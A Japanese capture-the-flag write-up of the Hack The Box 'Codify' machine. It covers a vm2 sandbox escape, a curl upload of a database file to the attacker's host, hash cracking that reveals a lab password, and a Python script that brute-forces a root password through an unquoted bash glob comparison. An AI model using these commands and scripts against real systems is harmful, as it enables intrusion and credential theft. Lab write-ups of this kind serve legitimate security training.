【Hack The Box】Codify【Writeup】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Codify___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.239 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.239:22
Open 10.10.11.239:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 03:46 EST
Initiating Ping Scan at 03:46
Scanning 10.10.11.239 [4 ports]
Completed Ping Scan at 03:46, 0.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 03:46
Scanning codify.htb (10.10.11.239) [2 ports]
Discovered open port 80/tcp on 10.10.11.239
Discovered open port 22/tcp on 10.10.11.239
Completed SYN Stealth Scan at 03:46, 0.22s elapsed (2 total ports)
Nmap scan report for codify.htb (10.10.11.239)
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2023-11-10 03:46:50 EST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
22と80番Portが公開されている。
実際にサイトにアクセスしてみると`codify.htb`にアクセスできないといわれるので`/etc/hosts`に登録しておく。
その後アクセスをしてみると以下のサイトが見える。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/22edf494-64b7-7291-935d-197a80f534b9.png)
サイトの探索を開始します。
## サイト探索
### サブドメイン探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
```
`ffuf`で探索。
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://codify.htb/ -H "HOST: FUZZ.codify.htb" -fc 301 -t 150 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://codify.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.codify.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 748 req/sec :: Duration: [0:02:22] :: Errors: 0 ::
```
何もないですね。
### ディレクトリ探索
まずは`dirsearch`です。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://codify.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/codify.htb/-_23-11-10_03-43-55.txt

Error Log: /root/.dirsearch/logs/errors-23-11-10_03-43-55.log

Target: http://codify.htb/

[03:43:55] Starting: 
[03:44:09] 200 -    3KB - /About
[03:44:17] 200 -    3KB - /about
[03:44:44] 200 -    3KB - /editor
[03:44:44] 200 -    3KB - /editor/
[03:45:12] 403 -  275B  - /server-status/
[03:45:12] 403 -  275B  - /server-status

Task Completed
```
一応`gobuster`でも確認します。
```bash
┌──(root㉿kali)-[~/work]
└─# gobuster dir -k -u http://codify.htb/ -w directory-list-2.3-small.txt -x html -t 150
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://codify.htb/
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 200) [Size: 2921]
/About                (Status: 200) [Size: 2921]
/editor               (Status: 200) [Size: 3123]
/Editor               (Status: 200) [Size: 3123]
/ABOUT                (Status: 200) [Size: 2921]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================
```
ないので列挙はこの辺にしてサイトをブラウジングしていきます。
### ブラウジング
`/editor`の階層があったのでこの辺を見てみると、何やら`Node.js`の実行環境があります。
実行すると以下のようになります。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2ecfebf6-6503-a61f-690c-93e9dabbedd3.png)
まぁコード実行できそうなら試すしかありません。
# イニシャルアクセス
## Malicious Node.js Code
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f69f9ded-79a8-cb17-7019-4d40c3339e92.png)
ダメでしたね。
調べてみると以下のように`child_process`が禁止されてました。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1d0eabd1-8dc0-f2b0-fcb3-2fa139bc79ad.png)
## CVE-2023-29017
`/about`のページを調査していると`vm2`のリンクを発見しました。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/32367ca2-b1c2-1000-98c2-bc89c7407392.png)
このリンクをたどると、githubに飛んでバージョンが分かります。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3da05fea-4d6a-1ca0-6855-1db575643529.png)
あ、ならこのバージョンの脆弱性を調査してみよう。
ということで調査すると以下の脆弱性が見つかる。

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

このPoCを参考にして`ls`コマンドを打ってみます。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7aef768a-25e0-2604-93a0-9396c33e40e0.png)
通りました！！！
RevShellをここに叩き込もうと思います。

## Reverse Shell
いつもの以下のサイトを利用します。

https://www.revshells.com/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/960f3a6b-f30b-8b09-87ce-8d5ee423ad05.png)
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2ffcd8de-14e6-a970-b15d-58315e514a61.png)
上手くシェルを取ることが出来ました。

# 横展開
svcのユーザ権限は取れましたが、このユーザではUserフラグを見ることが出来ません。
何か情報がないか調査を実施します。

## linpeas
linpeas使います。
以下のサイトからlinpeas.shをダウンロードしてくる。

https://github.com/carlospolop/PEASS-ng/releases

起動します。
```bash
svc@codify:/tmp$ ./linpeas.sh
./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |
    |---------------------------------------------------------------------------------|
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |
    |         Follow on Twitter         :     @hacktricks_live                        |
    |         Respect on HTB            :     SirBroccoli                             |
    |---------------------------------------------------------------------------------|
    |                                 Thank you!                                      |
    \---------------------------------------------------------------------------------/
          linpeas-ng by carlospolop

...省略

╔══════════╣ Searching root files in home dirs (limit 30)
/root/
/var/www

╔══════════╣ Searching folders owned by me containing others files on it (limit 100)

╔══════════╣ Readable files belonging to root and readable by me but not world readable

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/svc
/run/lock
/run/screen
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/linpeas.sh
/tmp/.Test-unix
/tmp/tmux-1001
#)You_can_write_even_more_files_inside_last_directory

/var/crash
/var/tmp
/var/www/contact
/var/www/contact/index.js
/var/www/contact/package.json
/var/www/contact/package-lock.json
/var/www/contact/templates
/var/www/contact/templates/login.html
/var/www/contact/templates/ticket.html
/var/www/contact/templates/tickets.html
/var/www/contact/tickets.db
/var/www/editor
/var/www/editor/index.js
/var/www/editor/node_modules
/var/www/editor/node_modules/abbrev
/var/www/editor/node_modules/abbrev/abbrev.js
/var/www/editor/node_modules/abbrev/LICENSE
/var/www/editor/node_modules/abbrev/package.json
/var/www/editor/node_modules/abbrev/README.md
/var/www/editor/node_modules/accepts

...省略
```
`/var`の階層に色々触れそうなファイルが見えるが、`tickets.db`というsqliteっぽいファイルが見える。
此奴を取得して中身を確認してみる。

## Transfer
Kaliでuploadserverを立てる。
```bash
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver 
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```
curlでファイルを転送する。
```bash
svc@codify:/var/www/contact$ curl -X POST http://10.10.14.58:8000/upload -F 'files=@/var/www/contact/tickets.db' 
curl -X POST http://10.10.14.58:8000/upload -F 'files=@/var/www/contact/tickets.db' 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 20683    0     0  100 20683      0  33979 --:--:-- --:--:-- --:--:-- 34018
svc@codify:/var/www/contact$ 
```
`md5sum`でハッシュ値が一致していれば転送成功となる。

## John the Ripper
中身を確認すると以下のようにハッシュが確認できます。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7da0669d-f25f-a11f-906f-eb9e643111ef.png)
johnさんに解析してもらいます。
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)     
1g 0:00:00:30 DONE (2023-11-10 04:56) 0.03232g/s 44.21p/s 44.21c/s 44.21C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```
この認証情報でSSHログインをしてみます。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b9a6d7b0-18d6-8bf1-5b13-1dcb727e76c5.png)
入れました！これでUserフラグゲットデス！！！！

# 特権昇格
## sudo -l
とりあえず見ときます。
```bash
joshua@codify:/tmp$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:/tmp$ 
```
`mysql-backup.sh`を回せそうです。
中身を確認します。
```bash
joshua@codify:/tmp$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
joshua@codify:/tmp$ 
```
...難し...
回してみる。
```bash
joshua@codify:/tmp$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: 
Password confirmation failed!
```
パスワードが聞かれるようだ。

## vuln bash
色々このシェルの脆弱性を調査していると以下の記事にヒットします。

https://mywiki.wooledge.org/BashPitfalls?source=post_page-----933488bfbfff--------------------------------#for_f_in_.24.28ls_.2A.mp3.29

クオートで囲わないと`*`などでWordを拡張解釈してしまうようなので、以下が脆弱となる。
```bash
if [[ $DB_PASS == $USER_PASS ]]; then
```
実際に確認してみる。
`*`を入力してみる。
```bash
joshua@codify:/tmp$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
```
rootのパスワードを渡さずともシェルが回ってしまった。

## Bruteforce
上記を踏まえてExploitを考察する。
最初の文字から一つずつPassになる文字を試して後半を`*`でごまかせばブルートフォースできるのではと考える。
ただコードを書くのが面倒なのでGPTさんに書いてもらった。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/bb61a5bf-a0dc-ca2d-98f8-d9a89d98b429.png)
![11_2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0d04a610-b3d1-1ced-162c-a510d3c1aba8.png)
改良したコードは以下だ。
```python:lol.py
import subprocess
import string

# a-zA-Zまでのアルファベット
alphabet = list(string.ascii_letters)
# 数字 0-9 を追加
alphabet += list(string.digits)
# 特殊記号を追加
special_characters = ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '+', '=', '[', ']', '{', '}', ';', ':', ',', '.', '<', '>', '/', '?', '|', '\\']
# 各要素を結合して最終的なリストを作成
complete_list = alphabet + special_characters

password = ""

def check_password(phrase):
    # コマンドを実行して出力を取得
    command = f'echo "{password}{phrase}*" | sudo /opt/scripts/mysql-backup.sh'
    result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

    # 出力から検証
    if "Password confirmed!" in result.stdout:
        return True
    elif "Password confirmation failed!" in result.stdout:
        return False
    else:
        # エラーまたは予期せぬ出力があった場合
        print("Unexpected output:", result.stdout)
        return None

# フレーズを入力


# フレーズを1文字ずつ検証
last_flag = True
while last_flag:
    for i in complete_list:
        if check_password(i):
            password += i
            print(f'{password}')
            break
```
実行する。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f2386b15-1374-d03f-d3c8-888679c15f00.png)
パスワードぽいところでフレーズを区切り`su`コマンドを試していく。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/decfddd5-bcd6-941f-28eb-823fa223aa85.png)

# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/05518230-43b6-1696-988a-ca491cac0658.png)

捻りはそこまでなく、素直なEasyBoxだったのではないでしょうか？
今回もセキュリティエンジニアの皆さんの助けになればなと思います。